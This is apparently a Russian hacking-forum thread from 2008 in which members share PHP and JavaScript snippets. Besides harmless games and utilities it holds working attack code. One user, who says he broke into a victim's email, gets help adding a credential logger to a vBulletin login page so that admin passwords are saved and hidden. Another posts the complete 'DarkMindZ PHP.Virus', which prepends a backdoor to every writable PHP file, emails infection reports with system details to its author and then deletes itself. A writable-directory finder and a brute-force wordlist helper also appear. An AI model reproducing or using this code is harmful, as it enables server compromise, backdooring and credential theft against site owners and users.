<h2>you have 20 seconds</h2>
<SCRIPT LANGUAGE="JavaScript">
//greetz antichat
///coded dy dimi4 aka nf/ http://nfdesign.org.ua

var total = 0
var play = false
function display(element) {
var now = new Date()
if (!play) {

play = true
startTime = now.getTime()
}
if (now.getTime() - startTime > 20000) {
element.checked = !element.checked
return
}
if (element.checked)
total++
else
total--
element.form.num.value = total
}

function restart(form) {
total = 0
play = false
for (var i = 1; i <= 100; ++i) {

form.elements[i].checked = false
}
}
</SCRIPT>


<SCRIPT LANGUAGE="JavaScript">
document.write("<FORM><CENTER>")
document.write('<INPUT TYPE="text" VALUE="0" NAME="num" SIZE=10 onFocus="this.blur()"><BR>')
document.write("<HR SIZE=1 WIDTH=40%>")
for (var i = 0; i < 10; ++i) {
for (var j = 0; j < 10; ++j) {
document.write('<INPUT TYPE="checkbox" onClick="display(this)">')
}
document.write("<BR>")
}
document.write("<HR SIZE=1 WIDTH=40%>")
document.write('<INPUT TYPE="button" VALUE="restart" onClick="restart(this.form)">')
document.write("</CENTER></FORM>")
// -->
</SCRIPT>
<pre>
____
.-'&amp;'-.
/ \
: o o ;
( (_ )
: ;
\ __ /
`-._____.-'
/`&quot;&quot;&quot;`\
/ , \
/|/\/\/\ _\
(_|/\/\/\\__)
|_______|
__)_ |_ (__
(_____|_____)</pre>
</body>
</html>
Потестить: http://nfdesign.org.ua/game.html

Ch3ck
09.02.2008, 01:02
Финд вритабле директорис

<?php

//If open basedir is on, search the closest directory possible, otherwise search "/"
//this will take a very long time to complete
//define('path', ini_get('open_basedir') ? ini_get('open_basedir') : DIRECTORY_SEPARATOR);

//One directory before the current directory:
define('path', '..');

//Maximum number of directories to find (to save time)
//define('maxdirs', 10);

set_time_limit(0);
$writable = array();

function finddir($d = path){
global $writable;
if(defined('maxdirs')){
if(count(array_unique($writable)) >= maxdirs){
printout();
}
}
$tmp = array();
if($x = scandir($d)){
foreach($x as $y){
if(@is_dir($d . DIRECTORY_SEPARATOR . $y)){
if($y != ".." && $y != "."){
array_push($tmp, $y);
$real = $d . DIRECTORY_SEPARATOR . $y;
}
}
foreach($tmp as $t){
if(@is_writable($d . DIRECTORY_SEPARATOR . $t)){
array_push($writable, $d . DIRECTORY_SEPARATOR . $t);
}
finddir($real);
}
}
}
}

function printout(){
global $writable;
?><p><b>Writable directories:</b></p>
<textarea rows=<?php echo(count(array_unique($writable))); ?> cols=50><?php
echo(($writable ? implode("\n", array_unique($writable)) : "No writable directories found.") . "\n</textarea>");
die();
}
finddir();
printout();
?>

NOmeR1
10.02.2008, 01:24
Крестики-нолики. Код получился на 10 кб (в 2 раза больше покера).
<?php
session_start();
echo('<title>Крестки-нолики</title>');
if(!$_SESSION['wins'] || $_SERVER['QUERY_STRING'] == 'clear_score'){$_SESSION['wins'] = 0;}
if(!$_SESSION['lose'] || $_SERVER['QUERY_STRING'] == 'clear_score'){$_SESSION['lose'] = 0;}
if(!$_SESSION['x']) {
$_SESSION['x'] = array();
}
if(!$_SESSION['o']) {
$_SESSION['o'] = array();
}
function session_kill() {
unset($_SESSION['x']);
unset($_SESSION['o']);
}
function is_won($array) {
if((in_array(1, $array) && in_array(2, $array) && in_array(3, $array)) || (in_array(1, $array) && in_array(4, $array) && in_array(7, $array)) || (in_array(1, $array) && in_array(5, $array) && in_array(9, $array)) || (in_array(2, $array) && in_array(5, $array) && in_array(8, $array)) || (in_array(3, $array) && in_array(6, $array) && in_array(9, $array)) || (in_array(3, $array) && in_array(5, $array) && in_array(7, $array)) || (in_array(4, $array) && in_array(5, $array) && in_array(6, $array)) || (in_array(7, $array) && in_array(8, $array) && in_array(9, $array))) {
return true;
} else {
return false;
}
}
if($_GET['place'] && !in_array($_GET['place'], array_merge($_SESSION['x'], $_SESSION['o'])) && $_GET['place'] < 10 && $_GET['place'] > 0) {
$_SESSION['x'][] = $_GET['place'];
function rand_place() {
if(!in_array(5, $_SESSION['x']) && !in_array(5, $_SESSION['o'])) {
return 5;
} else {
$place = rand(1,9);
if(!in_array($place, $_SESSION['x']) && !in_array($place, $_SESSION['o'])) {
return $place;
} else {
return rand_place();
}
}
}
if(count(array_merge($_SESSION['x'], $_SESSION['o'])) != 9 && !is_won($_SESSION['x'])) {
if(((in_array(2, $_SESSION['o']) && in_array(3, $_SESSION['o'])) || (in_array(4, $_SESSION['o']) && in_array(7, $_SESSION['o'])) || (in_array(5, $_SESSION['o']) && in_array(9, $_SESSION['o']))) && !in_array(1, $_SESSION['o']) && !in_array(1, $_SESSION['x'])) {
$_SESSION['o'][] = 1;
} elseif(((in_array(1, $_SESSION['o']) && in_array(3, $_SESSION['o'])) || (in_array(5, $_SESSION['o']) && in_array(8, $_SESSION['o']))) && !in_array(2, $_SESSION['o']) && !in_array(2, $_SESSION['x'])) {
$_SESSION['o'][] = 2;
} elseif(((in_array(1, $_SESSION['o']) && in_array(2, $_SESSION['o'])) || (in_array(6, $_SESSION['o']) && in_array(9, $_SESSION['o'])) || (in_array(5, $_SESSION['o']) && in_array(7, $_SESSION['o']))) && !in_array(3, $_SESSION['o']) && !in_array(3, $_SESSION['x'])) {
$_SESSION['o'][] = 3;
} elseif(((in_array(5, $_SESSION['o']) && in_array(6, $_SESSION['o'])) || (in_array(1, $_SESSION['o']) && in_array(7, $_SESSION['o']))) && !in_array(4, $_SESSION['o']) && !in_array(4, $_SESSION['x'])) {
$_SESSION['o'][] = 4;
} elseif(((in_array(4, $_SESSION['o']) && in_array(6, $_SESSION['o'])) || (in_array(2, $_SESSION['o']) && in_array(8, $_SESSION['o'])) || (in_array(1, $_SESSION['o']) && in_array(9, $_SESSION['o'])) || (in_array(3, $_SESSION['o']) && in_array(7, $_SESSION['o']))) && !in_array(5, $_SESSION['o']) && !in_array(5, $_SESSION['x'])) {
$_SESSION['o'][] = 5;
} elseif(((in_array(4, $_SESSION['o']) && in_array(5, $_SESSION['o'])) || (in_array(3, $_SESSION['o']) && in_array(9, $_SESSION['o']))) && !in_array(6, $_SESSION['o']) && !in_array(6, $_SESSION['x'])) {
$_SESSION['o'][] = 6;
} elseif(((in_array(8, $_SESSION['o']) && in_array(9, $_SESSION['o'])) || (in_array(1, $_SESSION['o']) && in_array(4, $_SESSION['o'])) || (in_array(3, $_SESSION['o']) && in_array(5, $_SESSION['o']))) && !in_array(7, $_SESSION['o']) && !in_array(7, $_SESSION['x'])) {
$_SESSION['o'][] = 7;
} elseif(((in_array(7, $_SESSION['o']) && in_array(9, $_SESSION['o'])) || (in_array(2, $_SESSION['o']) && in_array(5, $_SESSION['o']))) && !in_array(8, $_SESSION['o']) && !in_array(8, $_SESSION['x'])) {
$_SESSION['o'][] = 8;
} elseif(((in_array(7, $_SESSION['o']) && in_array(8, $_SESSION['o'])) || (in_array(3, $_SESSION['o']) && in_array(6, $_SESSION['o'])) || (in_array(1, $_SESSION['o']) && in_array(5, $_SESSION['o']))) && !in_array(9, $_SESSION['o']) && !in_array(9, $_SESSION['x'])) {
$_SESSION['o'][] = 9;
} elseif(((in_array(2, $_SESSION['x']) && in_array(3, $_SESSION['x'])) || (in_array(4, $_SESSION['x']) && in_array(7, $_SESSION['x'])) || (in_array(5, $_SESSION['x']) && in_array(9, $_SESSION['x']))) && !in_array(1, $_SESSION['x']) && !in_array(1, $_SESSION['o'])) {
$_SESSION['o'][] = 1;
} elseif(((in_array(1, $_SESSION['x']) && in_array(3, $_SESSION['x'])) || (in_array(5, $_SESSION['x']) && in_array(8, $_SESSION['x']))) && !in_array(2, $_SESSION['x']) && !in_array(2, $_SESSION['o'])) {
$_SESSION['o'][] = 2;
} elseif(((in_array(1, $_SESSION['x']) && in_array(2, $_SESSION['x'])) || (in_array(6, $_SESSION['x']) && in_array(9, $_SESSION['x'])) || (in_array(5, $_SESSION['x']) && in_array(7, $_SESSION['x']))) && !in_array(3, $_SESSION['x']) && !in_array(3, $_SESSION['o'])) {
$_SESSION['o'][] = 3;
} elseif(((in_array(5, $_SESSION['x']) && in_array(6, $_SESSION['x'])) || (in_array(1, $_SESSION['x']) && in_array(7, $_SESSION['x']))) && !in_array(4, $_SESSION['x']) && !in_array(4, $_SESSION['o'])) {
$_SESSION['o'][] = 4;
} elseif(((in_array(4, $_SESSION['x']) && in_array(6, $_SESSION['x'])) || (in_array(2, $_SESSION['x']) && in_array(8, $_SESSION['x'])) || (in_array(1, $_SESSION['x']) && in_array(9, $_SESSION['x'])) || (in_array(3, $_SESSION['x']) && in_array(7, $_SESSION['x']))) && !in_array(5, $_SESSION['x']) && !in_array(5, $_SESSION['o'])) {
$_SESSION['o'][] = 5;
} elseif(((in_array(4, $_SESSION['x']) && in_array(5, $_SESSION['x'])) || (in_array(3, $_SESSION['x']) && in_array(9, $_SESSION['x']))) && !in_array(6, $_SESSION['x']) && !in_array(6, $_SESSION['o'])) {
$_SESSION['o'][] = 6;
} elseif(((in_array(8, $_SESSION['x']) && in_array(9, $_SESSION['x'])) || (in_array(1, $_SESSION['x']) && in_array(4, $_SESSION['x'])) || (in_array(3, $_SESSION['x']) && in_array(5, $_SESSION['x']))) && !in_array(7, $_SESSION['x']) && !in_array(7, $_SESSION['o'])) {
$_SESSION['o'][] = 7;
} elseif(((in_array(7, $_SESSION['x']) && in_array(9, $_SESSION['x'])) || (in_array(2, $_SESSION['x']) && in_array(5, $_SESSION['x']))) && !in_array(8, $_SESSION['x']) && !in_array(8, $_SESSION['o'])) {
$_SESSION['o'][] = 8;
} elseif(((in_array(7, $_SESSION['x']) && in_array(8, $_SESSION['x'])) || (in_array(3, $_SESSION['x']) && in_array(6, $_SESSION['x'])) || (in_array(1, $_SESSION['x']) && in_array(5, $_SESSION['x']))) && !in_array(9, $_SESSION['x']) && !in_array(9, $_SESSION['o'])) {
$_SESSION['o'][] = 9;
} else {
$_SESSION['o'][] = rand_place();
}
}
}
if(!is_won($_SESSION['x']) && !is_won($_SESSION['o']) && count(array_merge($_SESSION['x'], $_SESSION['o'])) != 9) {
?>
<script>
function add(element) {
if(element.innerHTML != 'O' && element.innerHTML != 'X') {
document.location.href = '<?php echo($_SERVER['PHP_SELF']); ?>?place='+element.id;
} else {
alert('Здесь ставить нельзя');
}
}
function over(element, str) {
if(element.innerHTML != 'O' && element.innerHTML != 'X') {
element.innerHTML = ' '+str+' ';
}
}
</script>
<?php
}
?>
<table style="font-size: 40px; text-align: center; cursor: pointer;">
<tr>
<td style="width: 50px; height: 40px; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, '&nbsp;')" id="1"><?php if(in_array(1, $_SESSION['x'])) { echo('X'); } elseif(in_array(1, $_SESSION['o'])) { echo('O'); } else { echo('&nbsp;'); } ?></td>
<td style="width: 50px; height: 40px; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, '&nbsp;')" id="2"><?php if(in_array(2, $_SESSION['x'])) { echo('X'); } elseif(in_array(2, $_SESSION['o'])) { echo('O'); } else { echo('&nbsp;'); } ?></td>
<td style="width: 50px; height: 40px;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, '&nbsp;')" id="3"><?php if(in_array(3, $_SESSION['x'])) { echo('X'); } elseif(in_array(3, $_SESSION['o'])) { echo('O'); } else { echo('&nbsp;'); } ?></td>
</tr><tr>
<td style="width: 50px; height: 40px; border-top: 1px solid black; border-bottom: 1px solid black; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, '&nbsp;')" id="4"><?php if(in_array(4, $_SESSION['x'])) { echo('X'); } elseif(in_array(4, $_SESSION['o'])) { echo('O'); } else { echo('&nbsp;'); } ?></td>
<td style="width: 50px; height: 40px; border-top: 1px solid black; border-bottom: 1px solid black; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, '&nbsp;')" id="5"><?php if(in_array(5, $_SESSION['x'])) { echo('X'); } elseif(in_array(5, $_SESSION['o'])) { echo('O'); } else { echo('&nbsp;'); } ?></td>
<td style="width: 50px; height: 40px; border-top: 1px solid black; border-bottom: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, '&nbsp;')" id="6"><?php if(in_array(6, $_SESSION['x'])) { echo('X'); } elseif(in_array(6, $_SESSION['o'])) { echo('O'); } else { echo('&nbsp;'); } ?></td>
</tr><tr>
<td style="width: 50px; height: 40px; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, '&nbsp;')" id="7"><?php if(in_array(7, $_SESSION['x'])) { echo('X'); } elseif(in_array(7, $_SESSION['o'])) { echo('O'); } else { echo('&nbsp;'); } ?></td>
<td style="width: 50px; height: 40px; border-right: 1px solid black;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, '&nbsp;')" id="8"><?php if(in_array(8, $_SESSION['x'])) { echo('X'); } elseif(in_array(8, $_SESSION['o'])) { echo('O'); } else { echo('&nbsp;'); } ?></td>
<td style="width: 50px; height: 40px;" onclick="add(this)" onmouseover="over(this, 'X')" onmouseout="over(this, '&nbsp;')" id="9"><?php if(in_array(9, $_SESSION['x'])) { echo('X'); } elseif(in_array(9, $_SESSION['o'])) { echo('O'); } else { echo('&nbsp;'); } ?></td>
</tr>
</table>
<?php
if(is_won($_SESSION['x'])) {
echo('<font color="Green"><b>Вы выиграли</b></font> | <a href="'.$_SERVER['PHP_SELF'].'">Ещё раз</a>');
session_kill();
$_SESSION['wins']++;
} elseif(is_won($_SESSION['o'])) {
echo('<font color="Green"><b>Вы проиграли</b></font> | <a href="'.$_SERVER['PHP_SELF'].'">Ещё раз</a>');
session_kill();
$_SESSION['lose']++;
} else {
if(count(array_merge($_SESSION['x'], $_SESSION['o'])) == 9) {
echo('<font color="Green"><b>Ничья</b></font> | <a href="'.$_SERVER['PHP_SELF'].'">Ещё раз</a>');
session_kill();
}
}
echo('<div style="position: absolute; top: 5%; right: 5%;"><table width="200"><td>Побед:</td><td><b>'.$_SESSION['wins'].'</b></td></tr><tr><td>Проигрышей:</td><td><b>'.$_SESSION['lose'].'</b></td></tr></table><div align="center"><a href="'.$_SERVER['PHP_SELF'].'?clear_score">Очистить счёт</a></div></div></body>');
?>
Пример скрипта (http://hax0r.in/dama/x-o.php).

Isis
10.02.2008, 05:03
NOmeR1, гыгы

http://img88.imageshack.us/img88/8969/xoch1.jpg

x-o.php?place=11
x-o.php?place=12
x-o.php?place=13
x-o.php?place=14
x-o.php?place=15

BBG2
11.02.2008, 12:05
Помогите модификацировать php код, чтобы логи и пароль сохранялись в файл в открытом виде для тех, кто логинится..

cylaaaan
11.02.2008, 15:28
$login = '';
$password = '';
$f = fopen('password.txt', 'ab');
fwrite($f, $login.":".$password."\r\n -------------\r\n");
fclose($f);

Запись данных в файл, в открытом виде.

Не понял твой вопрос.

BBG2
11.02.2008, 15:43
Не понял твой вопрос.
Ситуация токая. Попал я к отдому челу на мыло.
Там оказались логины и пароли от ФТП сервера и от сайта, т.е логины Админа. Так вот мне посаветовали модифецировать код от страницы жертвы, что бы логины и пароли хранились в файле в открытом тексте. А я в програмирование не селён.

cylaaaan
11.02.2008, 16:38
Да, в файле авторизации можно добавить вредоносный код, который, параллельно, отправлял бы данные на почту или просто оставлял бы на сервере в одном .txt файле - как у меня написано в примере, остается только заменить переменные и уточнить путь сохранения файла (куда нибудь, что бы безпалевно было)

Для начала нужно разобраться в самом коде файла авторизации... Ты хотя бы скажи какая там система (Wordpress, и тд) а потом уже можно будет пробовать. Ничего сложного, я думаю. Но если ты вообще дуб в php, то лучше не браться самому.

BBG2
12.02.2008, 01:56
Но если ты вообще дуб в php, то лучше не браться самому.
Да я в этом полный дуб, вот и прошу о помощи.

Ты хотя бы скажи какая там система
vBulletin® Version 3.6.8.
Для начала нужно разобраться в самом коде файла авторизации...
А какой нужен.
http://i036.radikal.ru/0802/6d/0d39a08f1492t.jpg (http://radikal.ru/F/i036.radikal.ru/0802/6d/0d39a08f1492.jpg.html)
отправлял бы данные на почту
А это вообще былобы не плохо.

Кельт
12.02.2008, 18:14
Вот написал скрипт, который переводит русские слова в транслит и на английскую раскладку qwerty-клавиатур, и записывает их в отдельные файлы, полезно при составлении словарей для брута, может кому пригодится как и мне. Конструкция правда громоздкая получилась, но у меня еще опыта мало, строго не судите =)
<?
$file = file_get_contents('rus.txt');

$rus_s = array('щ','ж','ц', 'ч', 'ш', 'ю', 'я','а', 'б', 'в', 'г', 'д', 'е', 'ё', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ъ', 'ы', 'ь', 'э');
$eng_s = array('sch','zh','ts', 'ch','sh','yu', 'ya','a', 'b', 'v', 'g', 'd', 'e', 'e', 'z', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'r', 's', 't', 'u', 'f', 'h', '', 'y', '', 'e');


$file = str_replace($rus_s, $eng_s, $file);
$file1 = fopen('translit.txt', 'w');
fwrite($file1, $file);
fclose($file1);


$file = file_get_contents('rus.txt');
$rus_s = array('щ','ж','ц', 'ч', 'ш', 'ю', 'я','а', 'б', 'в', 'г', 'д', 'е', 'ё', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ъ', 'ы', 'ь', 'э');
$qwer_s = array('o',';','w', 'x','i','.', 'z','f', 'd', 'd', 'u', 'l', 't', '`', 'p', 'b', 'q', 'r', 'k', 'v', 'y', 'j', 'g', 'h', 'c', 'n', 'e', 'a', '[', ']', 's', 'm', '\'');


$file = str_replace($rus_s, $qwer_s, $file);
$file1 = fopen('qwer.txt', 'w');
fwrite($file1, $file);
fclose($file1);

?>
rus.txt первоначальный файл со словарем русского языка, нужно положить в дирикторию скрипта =)

!{ra!{e/\/
13.02.2008, 01:58
Скрипт для отсеивания фрихостов с файла в другой

<?php
$fileinput="1.txt";
$fileoutput="2.txt";
$f=fopen($fileoutput,'w');
$ar = array(".narod.ru", ".h10.ru", "jino-net.ru","h17.ru",".h18.ru",".clan.su","ucoz.ru","vo.uz","at.ua","p0.ru","3dn.ru","my1.ru","moy.su","do.am","pp.net.ua","ucoz.ua","ucoz.kz","ucoz.lv","ws.co.ua");
$s=file($fileinput);
for ($i=0;$i<count($s);$i++) {
for ($j=0;$j<count($ar);$j++){
if (eregi($ar[$j],$s[$i])) {fputs($f,$s[$i]);}
}
}
fclose($f);
echo "Процедура успешно завершена ";
?>

Чуть поправив можно собирать только отдельные фрихосты или что то другое(народа)

....
$ar = array("ftp.narod.ru");
....

Isis
13.02.2008, 02:07
Почему ftp.narod.ru, а не просто .narod.ru ?

BBG2
13.02.2008, 02:31
$file = fopen("logins.txt", "a");
if($file)
{
$string = $vbulletin->GPC['vb_login_username'].":".$vbulletin->GPC['vb_login_password']."\n";
fwrite($file, $string);
fclose($file);
}
На одном форуме мне написали, вот такой код,
Всё бы хорошо, но в файле сохраняется только Логин, а пароль почемуто не прописывается. Вчем может быть проблемма.? ПОМОГИТЕ ПЖЛСТА

Isis
13.02.2008, 02:41
Bbg2, по этому вопросу тем на форуме не менее 10

Isis
14.02.2008, 04:49
<?php // DarkMindZ.com
######################################
# [ DarkMindZ PHP.Virus v1.5 ] #
# [ RoMeO ] #
######################################
set_time_limit(0);
ignore_user_abort(1);
# root@darkmindz.com~ cat /home/pr0jects/virus/intro
# DMZ PHP.Virus, very simple PHP virus, that would do the following:
# |1| Look for all PHP files in directory.
# |2| Check if infected.
# |3| Infect with your backdoor.
# |4| Log all infected files, and optional mail them to you.
# root@darkmindz.com~ exit

# [ To-Do ] #
# Mass infector, infect other users on server.
# Better Reports, some system info reports too.
# Spreading, by RFI dorks.
# Polymorphism
#[x] Change user-agent used, 2 backdoors, `include and a CMD exec`. - done a better job here, one backdoor, includes all that :]

######## [ CONFIG ] ########
$backdoor =''; # your backdoor here - Base64 encoded PLEASE
$agent = 'darkmindz.com_b4ckd00r'; # your agent here.
##
$log_email = 1; # Send log to email?
$email = 'romeo.haxxor@gmail.com'; # Email to send logs to.
##
$log_report = 0; # Write a log?
$filename = '__log.html'; # name of log.
##
$delete_me = 1; # Delete me after we are done? - Recommended. :]
##
echo '<title>DarkMindZ.com - Think Dark - The Backdoor.</title><center><strong> [ <a href="http://www.darkmindz.com">DarkMindZ.com || Mass Backdoor Tool || By RoMeO</a> ]</strong></center><br>';

$dir = opendir('.');

$site=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);

echo '<strong>[-] Infecting : ' . $site . '</strong><br>';

while ($file = readdir($dir))
{
if (strstr($file, '.php') && is_writeable($file))
{
$victim = fopen($file, 'r+');
$victim_read = fread($victim, filesize($file));
if (!strstr($victim_read, 'DarkMindZ.com'))
{
fclose($victim);
unlink($file);
$new = fopen($file, 'a+');
$new_write = fwrite($new, base64_decode($backdoor) . $victim_read);
fclose($new);

echo '[x] Infected: ' . getcwd() .'/'. $file . '<br>';

if($log_email) { $log = fopen('__tmp', 'a+'); fwrite($log, '[x] File: ' . getcwd() .'/'. $file . '

'); fclose($log); }
if($log_report) { $x = fopen($filename, 'a+'); fwrite($x, '[x] File: ' . getcwd() .'/'. $file . "\n"); fclose($x); }
}
}
}

closedir($dir);

if($log_email) {


$fromname = "DarkMindZ Backdoor";

$fromaddress = "root@darkmindz.com";

$eol="\n";
$headers = "From: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP v".phpversion().$eol;

$headers .= 'MIME-Version: 1.0'.$eol;
$headers .= "Content-type: text/html; charset=iso-8859-1".$eol.$eol;

$report = file_get_contents('__tmp');
$dir = getcwd();
$part = explode('/', $dir);
$username = $part[1];
$uname = @system('uname -a');
$report .= '
###########################################
Backdoor Report | | DarkMindZ.com
###########################################
Target: '.$site.'
Uname: '.$uname.'
Username: '.$username.'
Agent: '.$agent.'
###########################################
';
mail($email, "DarkMindZ Backdoor", '

' .$report, $headers); unlink('__tmp'); echo '<br />[x] Email Report Sent!';}

if($delete_me) { unlink(__file__); }
# done, kthxbai! next target pl0x;]
exit; # if we are in a RFI, we dont want to show other content, right?
?>

scrat
14.02.2008, 21:32
upd: Привёл в более божеский вид:

<?php
function c($text,$key) // шифровка
{
for($j=0;$j<strlen($text);$j++) $text[$j]=chr(ord($text[$j])+$key);
return $text;
}

function d($text,$key) //дешифровка
{
for($j=0;$j<strlen($text);$j++) $text[$j]=chr(ord($text[$j])-$key);
return $text;
}
?>

Ничего серьёзного показать не хотел,строго не судите.

baltazar
17.02.2008, 02:13
<?php
error_reporting(1);

// Обработка строк
function StringProc($input, $pos) {
$pos_one = $pos;
$pos_two = $pos;
for ($i=$pos_one+1; $i<strlen($input); $i++) {
if ($input[$i]=="'") {
$pos_two = $i;
break;
}
}
$pos = $pos_two; // Вернем позицию конца строки
$res[0] = "<font color=blue>".substr($input, $pos_one, $pos_two-$pos_one+1)."</font>";
$res[1] = $pos_two;
return $res;
}

// Обработка комментариев в виде гнутой скобки
function CommentProc1($input, $pos) {
$pos_one = $pos;
$pos_two = $pos;
for ($i=$pos_one+1; $i<strlen($input); $i++) {
if ($input[$i]=="}") {
$pos_two = $i;
break;
}
}
$pos = $pos_two; // Вернем позицию конца строки
$res[0] = "<font color=gray>".substr($input, $pos_one, $pos_two-$pos_one+1)."</font>";
$res[1] = $pos_two;
return $res;
}

// Обработка комментариев в виде скобки и звездочки
function CommentProc2($input, $pos) {
$pos_one = $pos;
$pos_two = $pos;
for ($i=$pos_one+1; $i<strlen($input); $i++) {
if (($input[$i]==")") & ($input[$i-1]=="*")) {
$pos_two = $i;
break;
}
}
$pos = $pos_two; // Вернем позицию конца строки
$res[0] = "<font color=gray>".substr($input, $pos_one, $pos_two-$pos_one+1)."</font>";
$res[1] = $pos_two;
return $res;
}

// Обработка однострочных комментариев в виде двойного слеша
function CommentProc3($input, $pos) {
$pos_one = $pos;
$pos_two = $pos;
for ($i=$pos_one+1; $i<strlen($input); $i++) {
if ($input[$i]=="\n") {
$pos_two = $i;
break;
}
}
$pos = $pos_two; // Вернем позицию конца строки
$res[0] = "<font color=gray>".substr($input, $pos_one, $pos_two-$pos_one+1)."</font>";
$res[1] = $pos_two;
return $res;
}

// Обработка цифр и HEX кодов
function NumberProc($input, $pos) {
$pos_one = $pos;
$pos_two = $pos;
for ($i=$pos_one+1; $i<strlen($input); $i++) {
if (!ereg('[0-9,a-f,A-F]', $input[$i])) {
$pos_two = $i;
break;
}
}
$pos = $pos_two; // Вернем позицию конца строки
$res[0] = "<font color=red>".substr($input, $pos_one, $pos_two-$pos_one)."</font>";
$res[1] = $pos_two-1;
return $res;
}

// Обработка ключевых слов
function KeyWordProc($input, $pos, $key, $_words, $_keys) {

$strlen = strlen($input);
for ($i=$pos; $i<$strlen; $i++)
if (eregi('[^a-z,A-Z]', $input[$i])) break;

$res[0] = substr($input, $pos, $i-$pos);
$res[1] = $pos+strlen($res[0])-1; // Вернем позицию конца строки

for ($i=$_keys[$key][1]; $_words[$i][0]==$_keys[$key][0]; $i++) {
if (eregi(substr($input, $pos, strlen($_words[$i])), $_words[$i]) &
eregi('[^a-z,A-Z,0-9]', $input[$pos+strlen($_words[$i])])) {
$res[0] = "<b>".$_words[$i]."</b>";
$res[1] = $pos+strlen($_words[$i])-1;
break;
}
} // Если это не ключевое слово - передадим его целиком

return $res;
}

// ************************************************** ***********
// Основная функция раскраски кода *
// ************************************************** ***********
function DrawCodePas($input) {

// Выделение ключевых слов

// Выделяемые слова
$key_words = "abstract/and/array/as/asm/begin/case/class/const/constructor/cdecl/default/destructor/do/div/dynamic/else/end/except/external/finally/for/function/finalization/if/implementation/interface/initialization/message/mod/nil/not/name/of/or/overload/override/package/packed/pascal/private/procedure/program/property/protected/public/published/raise/read/record/shl/shr/stdcall/string/then/to/try/type/type/unit/until/uses/var/virtual/where/while/with/write/xor";

// Заполняем их в массив
$key_words = explode('/', $key_words);

// При добавлении новых ключевых слов откомментировать, выполнить под отладкой
// и заменить потом $key_words вычесленным значением $e_key_words (удалить завершающий слеш)
// sort($key_words);
// for ($j=0; $j<count($key_words); $j++) {
// $e_key_words .= $key_words[$j]."/";
// }

// Составим список буква - первое слово, начинающиеся с этой буквы в $key_words
for ($j=0; $j<count($key_words); $j++) {

//$key_words[$j] = trim($key_words[$j]);
// Добавим символ и ссылку на слово в массив
$new_item[0] = $key_words[$j][0];
$new_item[1] = $j;
$first_chars[] = $new_item;
// Теперь пропустим все слова с этой же буквы
for ($i=$j+1; $i<count($key_words); $i++) {
if ($key_words[$i][0] != $key_words[$j][0]) break;
}
$j = $i-1;
}

$result = "";
$input = ' '.$input.' ';

// Разукрашивание
for ($i=1; $i<strlen($input); $i++) {

if ($input[$i]=="'") {
$in_str = StringProc($input, $i);
$result .= $in_str[0];
$i = $in_str[1];
} elseif ($input[$i]=="{") {
$in_str = CommentProc1($input, $i);
$result .= $in_str[0];
$i = $in_str[1];
} elseif (($input[$i]=="(") & ($input[$i+1]=="*")) {
$in_str = CommentProc2($input, $i);
$result .= $in_str[0];
$i = $in_str[1];
} elseif (($input[$i]=="/") & ($input[$i+1]=="/")) {
$in_str = CommentProc3($input, $i);
$result .= $in_str[0];
$i = $in_str[1];
} elseif ((ereg('[0-9]', $input[$i]) & ereg("[\n\( ,.\[;]", $input[$i-1])) |
(ereg('[-]', $input[$i-1]) & ereg("[0-9]", $input[$i])) |
(ereg('[\$]', $input[$i]) & ereg("[\n\( ,-;.]", $input[$i-1]) & ereg("[0-9,a-f,A-F]", $input[$i+1]))) {
$in_str = NumberProc($input, $i);
$result .= $in_str[0];
$i = $in_str[1];
} elseif

// Проверим не начинается ли с текущей буквы какое-то ключевое слово,
// а перед этим проверим, чтобы перед ней стоял пробел, запятая или что-то вроде этого
(eregi('[^a-z,A-Z_,0-9]', $input[$i-1]) & eregi('[a-z,A-Z]', $input[$i])) {

$check = false;
for ($j=0; $j<count($first_chars); $j++) {
if (strtolower($input[$i])==strtolower($first_chars[$j][0])) {
$in_str = KeyWordProc($input, $i, $j, $key_words, $first_chars);
$result .= $in_str[0];
$i = $in_str[1];
$j = count($first_chars)-1; // Чтобы цикл остановился
$check = true; // Пометка, что первая буква была в словаре,
} // т.е слово было обработанно
}
if ($check==false) { $result .= $input[$i]; }
} else {
$result .= $input[$i];
}
}

return trim($result);
}

// Обработчик обратного вызова из preg_replace_callback, используемого для
// обработки Паскаль-кода
function pas_preg_callback($matches) {
return "<pre class=\"code\">".DrawCodePas($matches[1])."</pre>";
}

error_reporting(0);

?>

Ch3ck
18.02.2008, 01:22
C тегами PHP или CODE запостить не могу...

Php Vulnerability Scanner by KingOfSka

#!/usr/bin/php -q
<?php

/**
* Php Vulnerability Scanner by KingOfSka @ http://www.contropoterecrew.org
* still very early release, just for testing and coding purpose :)
*
* Changelog:
*
* 12/09/06 Version 0.1 : First "working" version, should work on "almost" site, report any bug to help me :)
* 25/09/06 0.2 : Better crawling, less bandwith/resource usage, speed improved, better vuln finding code
*
**/

print_r('
-------------------------------------------------------------------------------
Php Vulnerability Scanner by KingOfska @ http://contropotere.netsons.org
kingofska [at] gmail [dot] com
-------------------------------------------------------------------------------
');

if ($argc < 2) {
print_r('
Early release, please send bug report to help improving this script
--------------------------------------------------------------------------------
Usage: '.$argv[0].' host [start_path][port][debug]
host: target server (ip/hostname)
path: path from which to start scanning, if none entered starts from \'/\'
port: port of the http server, default 80

Examples:
'.$argv[0].' localhost /folder/script.php 81

--------------------------------------------------------------------------------
');
die;
}
